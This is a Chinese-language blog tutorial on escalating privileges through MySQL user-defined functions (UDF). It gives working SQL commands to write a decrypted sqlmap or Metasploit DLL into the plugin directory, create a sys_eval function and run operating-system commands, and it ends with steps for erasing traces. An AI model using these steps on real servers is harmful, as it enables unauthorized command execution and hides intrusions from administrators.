mysql之udf提权 | 风尘孤狼
0%

mysql之udf提权

mysql之udf提权

前言

UDF简介

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,就像使用本地函数如 user() 一样。

加载udf,示例中文件末为.so,则为linux系统,如果是win,则后缀为dll

CREATE FUNCTION metaphon
  RETURNS STRING
  SONAME 'udf_example.so';

查看存在的udf

SELECT * FROM mysql.func;

删除udf

DROP FUNCTION metaphon;

提权思路(一)

When

在无web脚本执行权限,但是有mysql root执行的环境下,我们就可以通过into dumpfile函数导入udf.dll进行提权。有web脚本执行权限时,也可以直接上传udf提权脚本,快速搞定。

总结一下就是需要有mysql的root权限,就可以尝试使用UDF提权

这个第一个思路是针对没有web脚本执行的情况下进行的提权

若不确定是否是root权限可以使用命令查看一下

select * from mysql.user where user = substring_index(user(), '@', 1)\G;

What

数据库相关信息

既然使用dumpfile那么secure_file_priv肯定要设置为空的

注意:secure_file_priv的值为NULL或者是存在值是不能利用UDF提权的,只有空值才行

mysql配置文件中改即可

mysql> show variables like '%secure%';   //查看可导出文件位置
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv |       |
+------------------+-------+
2 rows in set (0.00 sec)

确认mysql安装位置

select @@basedir as basePath from dual ;

show variables like '%basedir%';

检查系统构架及plugin目录,通过主机版本及架构确认mysql位数来选用udf文件

mysql> show variables like ’%compile%‘;
+---------------------------+----------------------------------------+
| Variable_name             | AMD64                                  |
+---------------------------+----------------------------------------+
| version_compile_machine   | AMD64                                  |
+---------------------------+----------------------------------------+
| version_compile_os        | Win32                                  |
+---------------------------+----------------------------------------+
1 row in set (0.00 sec)
show variables like "%plugin%";
+---------------+----------------------------------------+
| Variable_name | Value                                  |
+---------------+----------------------------------------+
| plugin_dir    |C:\phpStudy\MySQL\lib\plugin\           |
+---------------+----------------------------------------+

提权payload

提权payload在kali中的msf中就有

/usr/share/metasploit-framework/data/exploits/mysql

sqlmap里面也有

sqlmap\data\udf\mysql

sqlmap自身UDF文件进行异或加密了,使用sqlmap解密一下再使用

python extra/cloak/cloak.py -d -i data/udf/mysql/windows/32/lib_mysqludf_sys.dll_

010editor打开后另存为十六进制文件,然后去掉空格,去掉换行,生成payload

将生成的payload写入到plugin目录下

select ‘payload’ into dumpfile 'D:/Programs/PHPStudy/MySQL/lib/plugin/udf.dll';

查看数据库版本,判断udf文件写入位置

select version();

注意:mysql自身版本特性,我们将payload是要放在mysql的检索目录中,但是由于版本特性不同,目录也有所不同

1、 Mysql < 5.0
导出路径随意。

2、 5.0 <= Mysql < 5.1
Win2000导出路径: C:/Winnt/udf.dll

其他Windows系统导出路径均为:C:/Windows/udf.dll或C:/Windows/system32/udf.dll

3、 Mysql >= 5.1
Mysql安装目录的lib\plugin文件夹下,如果mysql安装时不选择完整安装或使用集成开发环境等情况下lib\plugin目录大概率是不存在的,需要自行创建。

##有web脚本执行权限的时候,可以直接上传该UDF文件,没有执行权限就提取十六进制这个方法

调用此提权UDF

mysql> create function sys_eval returns string soname 'udf.dll';
Query OK, 0 rows affected (0.00 sec)

此时再去查看存在的UDF就能看到自己上传的这个UDF了

select * from mysql.func;
select sys_eval(‘net user’);

至此就完成了UDF提权

痕迹清除

删除表

drop table udf;

删除函数

drop function sys_eval;

补充

UDF提权一般仅适用于windows系统,linux系统由于自身对plugin目录严格的写入权限,很难利用

参考

GOOD1

GOOD2

制作不易,如若感觉写的不错,欢迎打赏